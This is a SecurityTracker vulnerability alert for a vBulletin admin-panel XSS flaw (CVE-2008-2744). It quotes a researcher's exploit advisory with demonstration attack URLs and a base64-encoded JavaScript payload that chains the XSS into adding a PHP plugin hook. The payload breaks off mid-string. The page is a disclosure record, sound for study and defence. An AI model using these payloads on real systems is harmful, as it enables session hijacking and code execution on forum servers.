vBulletin Input Validation Hole in 'redirect' Parameter Permits Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1020322
|
|
SecurityTracker URL: http://securitytracker.com/id?1020322
|
|
CVE Reference: CVE-2008-2744
(Links to External Site)
|
Updated: Jul 17 2008
|
Original Entry Date: Jun 18 2008
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): 3.6.10, 3.7.1; and prior versions
|
Description: A vulnerability was reported in vBulletin. A remote user can conduct cross-site scripting attacks.
The login page of the administrative control panel does not properly filter HTML code from user-supplied input in the 'redirect'
parameter before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will
cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the vBulletin
software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies
(including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web
form to the site, or take actions on the site acting as the target user.
A demonstration exploit URL is provided:
http://[target]/vB3/admincp/index.php?redirect={XS
S}
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
vBulletin software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
|
Solution: The vendor has issued a fix (3.6.10 PL1, 3.7.1 PL1).
The vendor's advisory is available at:
http://www.vbulletin.com/forum/showthread.php?t=274882
|
Vendor URL: www.vbulletin.com/forum/showthread.php?t=274882 (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: "Jessica Hope" <jessicasaulhope@googlemail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Fri, 13 Jun 2008 14:35:54 +0100
From: "Jessica Hope" <jessicasaulhope@googlemail.com>
Subject: Exploit for vBulletin
|
======================================================================
Advisory : Exploit for vBulletin "obscure" XSS
Release Date : June 13th 2008
Application : vBulletin
Version : vBulletin 3.7.1 and lower, vBulletin 3.6.10 and lower
Platform : PHP
Vendor URL : http://www.vbulletin.com/
Authors : Jessica Hope (jessicasaulhope@googlemail.com)
=======================================================================
Overview
Due to various failures in sanitising user input, it is possible to
construct XSS attacks that are rather damaging.
=======================================================================
Discussion
vBulletin released PL1 for their 3.7.1 and 3.6.10 versions of vBulletin:
http://www.vbulletin.com/forum/showthread.php?t=274882
In the above topic they try to pass off the XSS as difficult to exploit,
with low exposure and damage. This advisory is here to detail what the
XSS is and how wrong Jelsoft are for assuming that XSS is harmless.
First, the discussion of exactly what the exploit is. The XSS in question
exists on the login page for the ACP (admin control panel). The login
script takes a redirect parameter that lacks sanitation, allowing a
rather easy XSS:
http://localhost/vB3/admincp/index.php?redirect={XSS}
Yes, here goes the obscure. What is even better is that the exploit will
work outright if the admin is already logged in; if the admin is not, they
will be required to log in. If you Base64-encode your attack vector using
the data: URI scheme, the XSS survives the login request and activates after
the admin is logged in. A simple example of the above:
http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3N
jcmlwdD4K
Now to address the quote "potential for exposure and damage is limited".
Clearly Jelsoft have never seen what one can do with an XSS. In this case
you have an unlimited and unaltered XSS space, so you're free to invoke some
AJAX and have fun. Just to give ideas on how this could turn into something
larger, vBulletin has hooks that operate using eval(), and new hooks can
be added via the ACP itself. It is trivial to write some JS that not only
enables hooks but also inserts a nice RFI hook. Here's one using the data
URI:
data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnO2M9J0NvbnR
lbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgnO3JlZz0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcsICdodHRw
Oi8vbG9jYWxob3N0L3ZCL3VwbG9hZC9hZG1pbmNwL3Bsd
Wdpbi5waHA/ZG89YWRkJywgZmFsc2UpO3JlZy5zZW5kKG51bGwpO3IgPSByZWcucmVzcG9uc2VUZXh0O3Q9J2h0dHA6Ly9sb2NhbG
hvc3QvdkIvdXBsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7aD0nJmFkbWluaGFzaD0nK3Iuc3Vic3RyKHIuaW5kZXhPZignaGFzaFw
iJykrMTMsMzIpO3RvPScmc2VjdXJpdHl0b2tlbj0nK3Iu
c3Vic3RyKHIuaW5kZXhPZigndG9rZW5cIicpKzE0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va25hbWU9Zm9ydW1ob21lX
3N0YXJ0JmRvPXVwZGF0ZSZ0aXRsZT1mb28mZXhlY3V0aW9ub3JkZXI9MSZwaHBjb2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG
87cjIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGV
uKCdQT1NUJywgdCwgZmFsc2UpO3IyLnNldFJlcXVlc3RIZWFkZXIoZCwgdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMs
dSk7cjIuc2VuZCh0Mik7dD0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2RvPWRvb
3B0aW9ucyZzZXR0aW5nW2VuYWJsZWhvb2tzXT0xJytoK3
RvO3IyPSBuZ
|
|
